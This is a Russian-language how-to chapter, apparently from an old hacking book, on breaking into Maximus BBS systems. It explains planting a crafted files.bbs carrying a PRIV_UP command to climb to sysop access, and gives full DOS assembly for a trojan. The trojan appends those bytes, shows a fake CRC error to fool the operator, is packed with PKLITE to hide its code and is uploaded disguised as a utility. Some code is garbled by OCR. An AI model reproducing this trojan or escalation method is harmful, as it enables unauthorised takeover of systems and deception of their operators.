Истории о вирусах

Взлом BBS


Существует большое количество программ, предназначенных для созда-

ния и поддержания работы BBS. Рассмотрим самую популярную среди

них - Maximus.

Несанкционированно проникнуть на BBS, получить доступ к закрытым

областям, уничтожить информацию - такие задачи ставит перед собой

взломщик.

Существуют так называемые списки файлов, в которых содержится ин-

формация о доступных пользователям этой BBS ресурсах. Как правило,

такие списки есть в каждой специальной тематической конференции.

Пользователи могут скопировать оттуда какой-либо файл или оставить

свой. В программе Maximus списком всех файлов, доступных в конфе-

ренции, является файл с названием files.bbs.



Специально для этой программы создан язык программирования, схожий

с языками С и Pascal. На нем можно писать собственные программы

под BBS. Скорее всего, именно поэтому большинство системных опера-

торов предпочитают использовать Maximus. После компиляции напи-

санной программы ее можно добавить в общую базу Maximus, и она

начнет работать.

Каждая откомпилированная программа приобретает определенную мас-

ку файла. Откомпилированная МЕС-программа имеет маску *. bbs, схо-

жую с маской списка файла. Обычно в этих файлах содержатся списки,

но если в коде встречаются какие-либо служебные команды, они будут

выполнены. Этим взломщик и может воспользоваться.

В Maximus существуют два языка: МЕС и МЕХ. Язык МЕС очень

прост, разобраться в нем может каждый. Он позволяет оперировать раз-

личными данными, заставками на BBS, базой пользователей. Систем-

ный оператор обязательно должен знать этот язык.

Используя команду "PRIV_UP" языка МЕС системный оператор мо-

жет без особых усилий повышать уровень пользователя, при условии,

что последний будет писать и отправлять файлы на станцию. С повы-

шением уровня, пользователь получает дополнительные возможности

(увеличивается доступное для работы время, объем информации, кото-

рую можно получить с BBS). Этим и может воспользоваться хакер. Ему

остается только найти BBS, работающую на программе Maximus, на ко-



торой есть много файловых конференций. При этом одна из этих кон-

ференций должна быть пустой (то есть в ней не должно быть файла

files.bbs, содержащего доступные файлы в данной конференции). Таким

образом, остается проверить только одно условие - если все копируе-

мые на BBS файлы помещаются в конференцию, которая была выбрана

последний раз, то такую BBS можно взломать без особых усилий. Хаке-

ру остается только создать файл files.тес, записать в него команду

PRIV_UP, затем откомпилировать этот файл при помощи компилятора

МЕССА (теперь он будет называться files.bbs) и отправить его на BBS.

С этого момента хакер может поднимать свой уровень доступа, просмат-

ривая данную конференцию, пока он не достигнет уровня системного

оператора станции. После этого компьютер окажется полностью в его

распоряжении.

Если под рукой не оказалось компилятора МЕССА, то создать files.bbs

можно и вручную. Для этого нужно создать файл files.bbs, а затем ввес-

ти в него команду повышения уровня - на языке Maximus это всего три

символа (код первого - 23h, следующие два - символы pU).

Еще один способ взлома BBS рассчитан на неграмотных системных опе-

раторов, не обладающих глубокими знаниями. Он заключается в том,

что на станцию засылается программа (причем безразлично, куда она

попадет), которая сама добавит команду повышения уровня в файл

files.bbs. Во время просмотра доступных файлов хакеру автоматически

будет подниматься уровень. Ниже приведен текст похожей исходной

программы - фантазия тут может быть безгранична. Эта программа до-

бавляет в файл files.bbs байты, повышающие уровень пользователю.

После того, как системный оператор запустит эту программу на своем

компьютере, программа ищет файл files.bbs и дописывает туда три бай-

та. Приведенный пример рассчитан на системных операторов, которые

держат свои файлы в каталоге, по умолчанию предлагаемом программой

для установки. Хотя можно добавить поиск files.bbs по всему винчесте-

ру компьютера.

assume cs:cseg, ds:cseg



cseg segment

org 100h

start:

.Найдем файл FILES.BBS

mov ah,4Eh

mov dx.offset fname

mov cx,20h

int 21 h

; Если файл отсутствует, то выйдем из программы -

;здесь нечего исправлять

jc exit

;0ткроем найденный файл

mov ax,3D02h

mov dx,9Eh

int 21 h

jc exit

-.Установим указатель чтения/записи в конец файла

mov bx.ax

mov ax,4202h

хог сх.сх

xor dx,dx

int 21h

Записываем в файл три байта

mov ah,40h

mov cx,3

mov dx.offset bytes

int 21 h

jc exit

;3акроем файл

mov ah,3Eh

int 21 h

[Выдадим сообщение об ошибке и выйдем в DOS. Дело в том,

;что отработавшая программа не должна вызвать подозрений

системного оператора. Цель - заставить системного оператора

думать, что файл испорчен. Возможно, он допустит, что иногда

;при передаче файлов происходят ошибки, и поэтому файл

;мог стать неработоспособным

exit:

[Выдадим сообщение об ошибке

mov ah,09h

mov dx, offset message

int 21 h

; Выход в DOS

mov ah,4Ch

int 21 h

;Mycop - специально для того, чтобы упаковать

;файл утилитой PKLITE

Garbage db 12000 dup ("A")

;Имя файла "FILES.BBS"

fname db "files.bbs",0

;Сообщение об ошибке

message db "CRC file error", 13,10,"$"

.Записываемые байты

bytes db 23h,"pU"

cseg ends

end start

После того, как файл откомпилирован, его нужно упаковывать, чтобы

системный оператор ничего не заподозрил. Этот файл будет содержать

большое количество непонятных символов, и при быстром просмотре

распознать скрытую в нем программу практически невозможно.

tasm.exe vzlom.asm

tlink.exe vzlom.obj /t

pklite vzlom.com

После этого файл отправляется на BBS и комментируется как демонст-

рационная программа или как утилита для DOS. Дальше взломщику

остается только ждать, пока системный оператор запустит файл. Через

некоторое время можно звонить и наслаждаться. Данный метод не сра-

ботает, если настоящая опция File Titles в Maximus заменена на ей по-

добную.


Содержание раздела